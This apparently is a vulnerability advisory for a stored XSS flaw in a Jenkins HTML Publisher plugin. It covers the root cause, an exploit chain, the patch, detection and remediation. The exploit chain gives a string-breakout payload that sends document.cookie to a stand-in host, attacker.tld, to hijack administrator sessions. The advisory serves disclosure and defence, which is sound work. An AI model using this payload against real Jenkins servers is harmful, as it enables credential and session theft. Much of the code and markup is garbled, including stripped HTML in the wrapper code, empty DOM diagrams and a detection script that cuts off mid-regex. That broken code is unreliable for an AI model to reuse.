CVE-2026-42524: Stored XSS in Jenkins HTML Publisher Plugin Legacy Wrapper
Jenkins HTML Publisher Plugin ≤427 fails to escape job name and URL in the legacy wrapper file, enabling stored XSS for any attacker with Item/Configure permission.
Jenkins is a popular tool used by software development teams to automate testing and deployment of code. Think of it as a robot that runs quality checks on software before it goes live. The HTML Publisher Plugin is an add-on that displays reports from these tests in a web browser.
This vulnerability is like leaving a door unlocked in your office building. An attacker who has limited access to Jenkins can sneak in malicious code that gets stored in HTML reports. When other team members view these reports, the hidden code runs invisibly in their browsers.
What makes this dangerous is that the attacker can steal login credentials, hijack user sessions, or install malware just by getting someone to view an infected report. It's particularly risky because people trust reports they pull from their own company's systems.
The people most at risk are software development teams and organizations running older versions of Jenkins. Anyone with the ability to configure jobs in Jenkins can exploit this. If your company uses Jenkins version 427 or earlier, you should pay attention.
Here's what you can do right now. First, check if your organization uses Jenkins and what version it's running—ask your IT or development team. Second, if you're a Jenkins administrator, update the HTML Publisher Plugin to the latest version immediately. Third, if you can't update right away, talk to your security team about temporarily disabling this plugin until you can patch it.
The good news is that this hasn't been actively exploited in the wild yet, so you have a window to act before attackers start using it. Think of it like being warned about a recalled car before any accidents happen—the fix exists, you just need to install it.
Want the full technical analysis? Click "Technical" above.
Jenkins HTML Publisher Plugin versions 427 and earlier contain a stored cross-site scripting vulnerability (SECURITY-3706 / CVE-2026-42524, CVSS 8.0 HIGH) in the legacy wrapper file generation path. When the plugin renders the wrapper HTML file that frames published reports, it interpolates the job name and job URL directly into the document without HTML entity encoding. An attacker holding Item/Configure permission — a role commonly granted to developers in CI environments — can craft a job name containing JavaScript payload that executes in the browser of any user who opens the published HTML report.
This class of vulnerability is particularly dangerous in Jenkins because the HTML Publisher Plugin is ubiquitous: it is used to archive test coverage reports, API documentation, and static analysis output. The stored payload persists in the wrapper file on the Jenkins controller filesystem and fires for every subsequent viewer, including administrators.
Root cause:HtmlPublisherTarget.handleAction() writes the job name and job URL into the legacy wrapper HTML via string concatenation with no call to Util.escape() or equivalent HTML encoding, allowing arbitrary script injection by any user who can set a job's display name.
Affected Component
The vulnerable surface lives inside the HTML Publisher Plugin's wrapper file writer, specifically in the Groovy/Java class HtmlPublisherTarget and the Jelly/Groovy template that generates htmlpublisher-wrapper.html. The wrapper is a redirect shim written to the archived report directory; it references the job name in a visible title element and encodes the originating job URL in a JavaScript variable for navigation purposes.
The legacy wrapper file is emitted by HtmlPublisherTarget.wrapIndex(). The method constructs the wrapper HTML using Java string formatting, pulling the display name and absolute URL of the owning job from the Jenkins model. Neither value is sanitized before insertion.
// HtmlPublisherTarget.java (reconstructed from bytecode, plugin ≤427)
// Equivalent pseudocode — field names match decompiled output.
private void wrapIndex(Run,?> run, FilePath archiveDir) throws IOException {
String jobName = run.getParent().getFullDisplayName(); // attacker-controlled
String jobUrl = run.getParent().getAbsoluteUrl(); // attacker-controlled (display name in path)
String reportDir = this.reportDir;
String indexPage = this.reportFiles;
// BUG: jobName and jobUrl written into HTML without escaping
String wrapperContent = "\n"
+ "" + jobName + "\n" // XSS vector 1
+ "\n"
+ "\n"
+ "\n";
FilePath wrapperFile = archiveDir.child("htmlpublisher-wrapper.html");
wrapperFile.write(wrapperContent, "UTF-8"); // persisted to disk
}
Two distinct injection points exist. The <title> element closes trivially with </title><script>...</script><title> in the job display name. The rootURL JavaScript string literal breaks out with a single quote, allowing direct script injection inside the existing <script> block — no tag boundary crossing required for the second vector.
Exploitation Mechanics
EXPLOIT CHAIN (Item/Configure → stored XSS → admin session theft):
1. Attacker authenticates to Jenkins with a user account that holds
Item/Configure on any pipeline or freestyle job.
2. Attacker sets the job display name to a crafted string via
Configure → Advanced → Display Name:
Payload (title vector):
Reports
Payload (JS string vector, requires only rootURL context):
'; fetch('https://attacker.tld/x?c='+document.cookie);//
3. Attacker triggers a build that runs the HTML Publisher build step,
causing wrapIndex() to write the poisoned wrapper to:
$JENKINS_HOME/jobs//builds//htmlreports//htmlpublisher-wrapper.html
4. Victim (any role including admin) navigates to the published report
via: https://jenkins.corp/job///HTML_20Report/
5. Jenkins serves htmlpublisher-wrapper.html from the archived workspace.
Browser executes injected script in the jenkins.corp origin context.
6. Injected fetch() exfiltrates document.cookie including JSESSIONID
to the attacker-controlled endpoint.
7. Attacker replays session cookie → full Jenkins access as victim.
The JS string break-out (vector 2) is especially clean because it executes inside an already-open <script> block, bypassing basic XSS filters that only look for tag boundaries. Content Security Policy is not enforced on archived report files served by the HTML Publisher itself — by design, since the plugin must allow arbitrary user HTML — making browser-side mitigations ineffective.
Memory Layout
This is not a memory corruption bug, but the DOM state before and after injection is worth mapping precisely to understand why the payload is reliable.
DOM STATE — UNPATCHED WRAPPER (job display name = "Reports"):
Reports
─────────────────────────────────────────────────────────────────────
DOM STATE — AFTER INJECTION (title vector):
Reports
Parser enters
No tag injection required. Single-quote breaks string context.
Semicolon terminates rootURL assignment.
Double-slash comments out remainder of the original line.
Patch Analysis
The fix introduced in plugin version 428 routes both interpolated values through Jenkins' standard HTML escaping utility before concatenation. For the JavaScript context the URL is additionally validated against the Jenkins root URL to prevent open-redirect chaining.
Util.escape() converts the five HTML special characters (&, <, >, ", ') to their named or numeric entities. Critically, encoding ' to ' inside the JavaScript string literal neutralises the string break-out vector independently of the tag injection fix, so either encoding call alone would have been sufficient to block both chains. The patch applies both, which is correct defence in depth.
Detection and Indicators
Audit existing wrapper files on the Jenkins controller for injection. The wrapper is always named htmlpublisher-wrapper.html and lives under each build's archived report directory.
# scan_wrappers.py — detect injected htmlpublisher-wrapper.html files
import os, re, sys
JENKINS_HOME = os.environ.get("JENKINS_HOME", "/var/lib/jenkins")
REPORT_ROOT = os.path.join(JENKINS_HOME, "jobs")
# Patterns indicating XSS payload in wrapper
INDICATORS = [
re.compile(r"", re.IGNORECASE), # tag break in title context
re.compile(r"
In Jenkins audit logs, look for job/<name>/configurePOST requests followed shortly by a build trigger from the same user. The malicious display name will appear verbatim in the build log under Full project name. Access logs for htmlpublisher-wrapper.html after the poisoned build are evidence of victim exposure.
Remediation
Immediate: Upgrade HTML Publisher Plugin to version 428 or later. The fix is available via Manage Jenkins → Plugins → Updates without a Jenkins controller restart.
If immediate upgrade is blocked:
Revoke Item/Configure from all non-administrator accounts as a temporary measure.
Serve archived HTML reports from a separate origin (e.g., a dedicated static file server or S3 bucket) so that any XSS payload cannot access jenkins.corp cookies.
Enable a strict Content-Security-Policy header at the reverse proxy layer for paths matching /job/*/htmlreports/*: default-src 'none'; script-src 'none'. This will break legitimate reports that include inline scripts, but it eliminates the class entirely.
Longer term: Audit all Jenkins plugins that write attacker-influenced values into HTML files outside of Jelly templates (which auto-escape by default). The pattern of raw string interpolation into archived files is a recurring source of stored XSS in the Jenkins ecosystem and is not caught by the standard Jelly template safety net.